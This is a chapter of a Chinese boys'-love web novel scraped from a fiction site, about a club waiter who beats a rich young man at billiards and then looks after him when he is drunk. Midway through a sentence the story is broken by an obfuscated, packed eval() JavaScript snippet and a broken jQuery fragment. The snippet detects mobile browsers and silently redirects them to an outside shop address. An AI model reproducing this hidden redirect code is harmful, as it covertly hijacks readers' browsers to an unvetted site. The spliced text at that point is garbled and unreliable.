文趣网 > 都市小说 > 被竹马争夺的老实直男 > 9. 试探
    苏礼不想装了。

    他之前回复周况野说自己不会打桌球只是单纯想让对方觉得没意思。

    最好让自己麻溜滚蛋,没想到,对方很客气的要教导自己这个乡巴佬怎么打桌球。

    苏礼本想着忍一下就算了。

    结果,他觉得周况野在得寸进尺。

    或者,他早就看出自己会打桌球了,故意在捉弄自己。

    “我学会了。”

    苏礼站直身子,捏着台球杆往旁边跨了一小步,拉开和周况野之间的距离后,在所有人的目光下,面无表情捏着台球杆熟练地打了一杆。

    只听见“咚”一声。

    桌面上的球角度刁钻地被弹进洞口,落袋。

    周况野站在一边,他看着苏礼再也装不下去的样子,没忍住,轻笑了一声。

    “好球。”

    修长的手指交叠,鼓起掌来。

    要说他是什么时候看出苏礼在装傻的,其实是在看见苏礼捏球杆的姿势的时候。

    就算对方在伪装了,可周况野还是一眼看见他下意识标准化捏住球杆的动作。

    明显就会打,不过,只是不想陪自己玩。

    这让周况野在苏礼身上察觉到了一种曾经从来没有的新鲜感——

    他会拒绝了。

    “我学会了,感谢周少教导,那我这边就不打扰你们兴致了。”

    苏礼把球杆放在一边,打算从另一边离开,可这一次就不像之前送酒那般情况混乱且好糊弄了。

    所有人的注意力短暂集中在他身上。

    周况野只是微微抬了抬下巴。

    挤在台球桌边的纨绔们瞬间意会,身子往前跨,拦住了苏礼离开的脚步。

    “我们打一局,你赢了,今天你的酒水业绩我全包了,如果你输了…”

    在众人期待这会是什么新鲜的游戏时,就见周况野心情颇为愉悦地翘了翘嘴角。

    “就老老实实在这陪我玩开心了。”

    “……”

    周围一片死寂。

    一掷千金,为求蓝颜一笑。

    这种荒谬的场景似乎在某些狗血小说里才看见过。

    蓝颜的气质还不太好,还是个乡巴佬……

    周围的人几乎认准了之前不是周况野对那些男男女女没兴趣,或许人家只是单纯恋丑罢了。

    有些没眼看的。

    安静的空气里,呼吸声被拉的很长,缠绵交织下,混杂着弥漫开来的震惊。

    苏礼只想快点走。

    到底是谁想要留在这非主流混混窝的?

    “我真不会…”

    话才说一半就被打断。

    “那就只好问问你们经理,你到底会不会了。”

    周况野很执着,他靠在台球桌边,歪头看着苏礼的脸,表情极其无辜。

    “……”

    店里的宗旨是什么?

    这是赤裸裸的威胁。

    苏礼伸手拿回了台球杆,依旧保持着公式化的微笑。

    “会一点皮毛罢了。”

    说完,脸上的笑消失了。

    苏礼决定,或许周况野这些年过着人人吹捧的生活有些太顺畅了。

    他很有必要让对方见识一下,野路子的威力。

    曾经在万林胡同那一片,苏礼在落魄的台球吧打工,和各路工人,老一辈,年轻非主流交手。

    所谓高手在民间,他的技术不说顶尖,但和这些个业余爱好的富二代打打,应该不算什么难事。

    苏礼抿嘴,站在一边,表情严肃下去后,看着倒没之前那股屌丝的气质。

    他皮肤白,站在明亮的灯光下,手指搭在球杆,指尖纤长漂亮,指甲修剪的干净圆润。

    光线顺着贴合着桌面的身体线条往下滑落,纤长的脖颈,腰很细,臀部微微翘起,双腿笔直修长,

    他瞄准桌面上的球,一连进洞,旁边计分的纨绔麻木播报着数字。

    四周安静,整个包厢里所有人的注意力都瞬间放在了这张台球桌面上。

    看站在对角的两人交锋,积分的声音时不时响起,咬的很紧。

    “咚咚咚…”

    球面撞击的声响不绝于耳,看到后面,大家也都意识到,刚才或许这个服务生在装傻。

    他的球技很高。

    每个球进球的角度都很刁钻,却每一次都能很巧妙地撞击入袋。

    交流的声音消失,只剩下起伏的呼吸声。

    周况野心情很不错。

    他捏着球杆,不得不承认,苏礼打球的姿势很好看,像是一只骄傲的白天鹅,在自己自信的领域散发出灼灼光芒。

    直到球再次进洞,少年的声音淡淡飘来。

    “不好意思,周少,你输了。”

    苏礼站在一侧,微微歪头,嘴角勾起,看着周况野的眼睛。

    明明还是刚才那个乡巴佬,但此时此刻,周围众人却觉得好像有什么改变了?

    少年身上散发出来的自信,让他整个人看起来格外耀眼瞩目。

    苏礼抬手,朝着周况野假笑着招了招手。

    抬手不是抱歉,而是老弟你还得练。

    他收回手,朝对方行了一个极其漂亮的绅士礼,随后,在众目睽睽之下把球杆放在了一边,推着空掉的酒车往外走,一边走,一边嘱咐了一句。

    “希望周少愿赌服输,我在收银台等你。”

    说完,仰着下巴,格外骄傲地从众人面前走过。

    苏礼很想低调,奈何实力不允许。

    等到人彻底离开,包厢的门合上后,这片死寂才终于被打破。

    周况野嘴角微微弯起,把手里的球杆放在桌面上,他低头从钱包里抽出一张黑卡,指尖夹着卡面,转了一圈。

    “谁去订酒?”

    “今天敞开玩。”

    声音落下,周围响起一阵欢呼声。

    空气中沉溺的奢靡再次被激荡起,散在空气,搅拌缠绕着袅绕的烟雾……

    *

    苏礼站在收银台,盯着电脑上不断上涨的业绩值,眨了眨眼。

    他以为周况野只是在和他开玩笑。

    就算真要来结钱也是当天的业绩值。

    但怎么也没想到,会所里贵的要死的酒,他眼睛也不眨,十几瓶的往屋子里拿。

    直接把苏礼整整一个月的业绩带了上去。

    一天,消费了将近一百万。

    这个数值是苏礼从来不敢想的。

    站在收银台前发了一会儿呆,苏礼才看了一眼时间。

    已经快到凌晨一点了。

    刚才经理从这边过提了一句,今天的业绩是周况野他们包厢带来的,算是对方给面子,需要延迟下班。

    起码,不能走在金主爸爸前面。

    苏礼就守到了现在。

    其实也能理解。

    就算是水牛,也不可能喝完那么多的酒水。

    会所里的员工大多都下班离开了,大厅空荡荡的一片,有风从外面卷进来,凉嗖嗖的。

    苏礼看见好几批被扶着从包厢出来的纨绔,在这群人中一直没看见周况野。

    直到经理捏着对讲机匆匆走过来,看着苏礼的眼睛,满眼都是些莫名其妙的刮目相看。

    “你去趟周少那里,他喝醉了,一直在喊你名字。”

    “我去?”

    苏礼不那么情愿,指着自己的鼻子。

    “顾客是上帝,怕什么,都是男人,吃不了亏的。”

    经理嘴上催促着,笑的眼睛都眯起来了。

    苏礼从收银台出来,尽量脚步缓慢地走向包厢,远远就听见包厢里传出的声响

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17873357|212333||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。

    “周少…不叫祁少他们过来?”

    “苏…礼?已经让经理去叫了…马上过来…”

    守在沙发边的年轻男人还算清醒,看见慢吞吞走过来的苏礼,皱眉打量了他一圈。

    “你叫苏礼?”

    不然你叫?

    苏礼撇嘴,脸上挤了点假笑,点头。

    “那你在这守着,我叫的代驾已经在外面等着了,你打个电话给祁少和孔少,他们会来接。”

    那人说完,抓起自己的外套扶着另一个醉醺醺的男生离开。

    包厢彻底安静下去。

    只剩下傻傻站着的苏礼还有那一团黑色的趴在沙发上的身影。

    不得不承认,周况野长的愈发好看了。

    他倒在沙发上,纤长的睫毛微微颤抖着,皱着眉,鼻梁高挺,眼尾上挑,唇形饱满且颜色很淡。

    他皮肤很白,仔细打量会发现他鼻梁骨的位置有一颗黑痣,黑痣点缀在鼻尖,看着格外性感。

    头发凌乱垂在额前,他脖颈处微微发红,突出的喉结竟然投下一道光影,就算没有看人,皱眉躺在沙发上也有种说不出的矜贵感。

    气质是与生俱来的。

    苏礼靠过去,他站在沙发边,伸手拍了拍周况野的肩膀。

    “真醉了?”

    对方没有回应,只是眉毛皱的更紧。

    苏礼安静地盯着他看了一会,叹气,蹲在沙发边,伸手把口袋里的手机掏出来。

    他已经很久没有和祁厌卿他们联系了,只能从联系列表搜索出陌生的头像,手指悬在语音通话上方,迟迟没有落下。

    直到沙发上的人翻了个身,手臂搭在苏礼的后脖颈,带着他的手指点了下去,空气中是扩散开来的铃声。

    苏礼想要把周况野沉沉搭在他后脖颈的手臂移开,可怎么也没料到对方力气这么大,像是把他当做抱枕一般,搂着苏礼的肩膀一把把人带进了怀里。

    苏礼鼻尖砸在男人的胸口,他闻到了一股很淡的薄荷味,鼻尖的酸胀带着眼角沁出些泪水来。

    电话接通,被压在身下的手机闷闷传来祁厌卿的声音。

    “苏礼?”

    苏礼挣扎着想要站起身,却被背后缠绕住的胳膊绕的更紧一些。

    他的上半身几乎和周况野的上半身紧紧相贴着,额头隐约擦过对方的唇。

    “放手!”

    苏礼低吼了一声。

    手机那边祁厌卿的声音严肃起来。

    “苏礼,你在哪?是不是有危险?”

    苏礼越挣扎,越感觉环过他后脖颈的手收的更紧,甚至,手指似乎在他喉结的位置蹭了一下。

    苏礼浑身一抖,应激地低头咬住了周况野的手腕。

    这一招很好用,对方果然把手收了回去,苏礼身体从周况野身上滑下来,坐在地上,呼呼喘气,一边喘一边瞪着皱眉脸上隐约有些委屈的周况野。

    这人属藤蔓的,真能缠。

    苏礼捏起手机,皱眉回了一句。

    “周况野在会所喝醉了,麻烦你过来接一下他。”

    电话那边沉默了下去,片刻后,再次响起祁厌卿含笑的声音,依旧温和。

    “好,我马上过来。”

    时间一分一秒流逝,除去刚才的接触外,周况野都很安静地躺在沙发上,呼吸平稳,只是眉毛一直没松,皱的很紧。

    苏礼坐在地上,后背靠着茶几,低头开始刷手机,在片刻安静下,他听见前面沙发上的呼吸变调,沙哑的声音从头顶罩下来。

    “你是不是还在生气?”

    男人的声音很轻,带着还未清醒的困倦,尾音往下垂。

    苏礼抬头,错愕地撞见那一双倏地睁开的黑沉沉的眸子里。

    那双眼深处除去醉意,还有一丝不易察觉的…眷恋?